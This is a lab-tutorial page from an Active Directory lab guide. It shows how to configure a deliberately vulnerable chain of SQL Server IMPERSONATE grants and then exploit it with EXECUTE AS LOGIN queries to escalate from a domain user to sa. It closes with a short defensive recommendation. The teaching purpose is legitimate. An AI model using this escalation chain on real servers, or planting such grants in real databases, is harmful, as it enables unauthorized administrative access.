# Impersonation

## Configuring

### Prerequisite

{% content-ref url="../initial-access/normal-domain-user-access" %}
[normal-domain-user-access](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/sql-server-attacks/initial-access/normal-domain-user-access)
{% endcontent-ref %}

### Configuring

1. Login to `WEB01` as the `Administrator` user with password `Welcome01!`.
2. Open "Microsoft SQL Server Management Studio"

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fmpfo8rQlWbFSNCK7IUQd%2Fimage.png?alt=media&#x26;token=6d8b8169-2d68-48f5-8def-af94725db74b" alt=""></div>

3\. Login with the `Administrator` user using Windows Authentication.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FNHgLIjTDNe0AxbQwvddT%2Fimage.png?alt=media&#x26;token=c08f4ae7-6b8c-4a47-bd2c-9e676df49a3f" alt=""></div>

4\. Click “New Query” button and use the SQL query below to create two new users:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FE5nWKCcIkTWCkr6XlYuR%2Fimage.png?alt=media&#x26;token=77fe4720-a1a3-4bbc-84db-91d67b5e9699" alt=""></div>

```
CREATE LOGIN Developer WITH PASSWORD = 'MyPassword!';
CREATE LOGIN Developer_test WITH PASSWORD = 'MyPassword!';
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fu3sljrU7VcKdqJrk6V0E%2Fimage.png?alt=media&#x26;token=e53d3bf2-9ccf-48d7-9f85-dd4406d99273" alt=""></div>

5\. Run the following Query to allow impersonation:

```
GRANT IMPERSONATE ON LOGIN::Developer to [AMSTERDAM\Richard];
GRANT IMPERSONATE ON LOGIN::Developer_test to [Developer];
GRANT IMPERSONATE ON LOGIN::sa to [Developer_test];
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FKOtQJu7yDamo0dXGClly%2Fimage.png?alt=media&#x26;token=f7029081-84d0-4197-a37a-6533ee624295" alt=""></div>

## Attacking

### How it works

SQL Server has a special permission, named impersonate, this enables one user to operate with the permissions of another user as well as their own permissions. For example: user A can impersonate user B which can impersonate user C which can impersonate sa. This can be used to escalate privileges.

### Tools

* [HeidiSQL](https://www.heidisql.com/)

### Executing the attack

1. Login to `WS01` as Richard with the password `Sample123`.
2. Download and start heidiSQL.
3. Click on "New" on the left bottom and configure the following settings:

* Network Type: `Microsoft SQL Server (TCP/IP)`
* Library: `SQLOLEDB`
* Hostname / IP: `WEB01.amsterdam.bank.local`
* Select: "Use Windows Authentication"
* Port: `1433`

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FEj0cI4nAHsvm45b0gVVv%2Fimage.png?alt=media\&token=494b6aad-c208-4e60-80e8-4c94758c2d32)

4\. Click "OK" on the security Issue warning.

5\. Click on the "Query" tab and enter the following Query to check which users can be impersonated by the current user.

```
-- Find users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
```

We can impersonate the `Developer` user.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FETXE23Ze8QkYK2pemwHj%2Fimage.png?alt=media\&token=69888a8d-c4fd-43b8-85a7-739f1c54ab0f)

6\. Impersonate the `Developer` user with the following query.

```
EXECUTE AS LOGIN = 'developer'
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FiEZ7BAmMFD5qjDhWcZG1%2Fimage.png?alt=media\&token=3b0de491-3331-4407-9c44-2d0b208ad588)

{% hint style="info" %}
Make sure the Master database is selected since the developer user doesn't have access to the production database.
{% endhint %}

7\. Execute the who can be impersonated query again.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FAs7tp6BpwdMdDgGCwTcA%2Fimage.png?alt=media&#x26;token=093a7e13-5880-4c40-a80c-ca296c85f6ce" alt=""></div>

8\. Impersonate the user `sa`.

```
EXECUTE AS LOGIN = 'sa'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fvbcx2LgsCtCiDelsaOeN%2Fimage.png?alt=media&#x26;token=5f454448-5d20-4542-accd-a8af9120665f" alt=""></div>

Hmm that doesn't work, lets impersonate `Developer_test`

8\. Impersonate `Developer_test`.

```
EXECUTE AS LOGIN = 'Developer_test'
```

9\. Execute the who can be impersonated query again:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FEEJiArjPDj5fiCzYVROW%2Fimage.png?alt=media\&token=afd5fa89-12b5-42e1-95a1-829b5c4a0253)

10\. Impersonate `sa`.

```
EXECUTE AS LOGIN = 'sa'
```

Now no error:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FU0zVocHZwptBtKrKGXl6%2Fimage.png?alt=media&#x26;token=270b69aa-dbce-4a88-a978-e7d49ad2d433" alt=""></div>

We successfully impersonated `Developer` --> `Developer_test` --> `sa`.

Check the executing commands page under SQL Server Attacks to read how to execute cmd commands:

{% content-ref url="../executing-commands" %}
[executing-commands](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/sql-server-attacks/executing-commands)
{% endcontent-ref %}

## Defending

### Recommendations

* Use signed stored procedures that have been assigned access to external objects. This seems like the most secure option with the least amount of management overhead. Similar to the EXECUTE WITH option, this can result in escalation paths if the store procedure is vulnerable to SQL injection, or is simply written to allow users to take arbitrary actions. More information at <http://msdn.microsoft.com/en-us/library/bb283630.aspx>.

### Detection

## References

{% embed url="<https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation>" %}
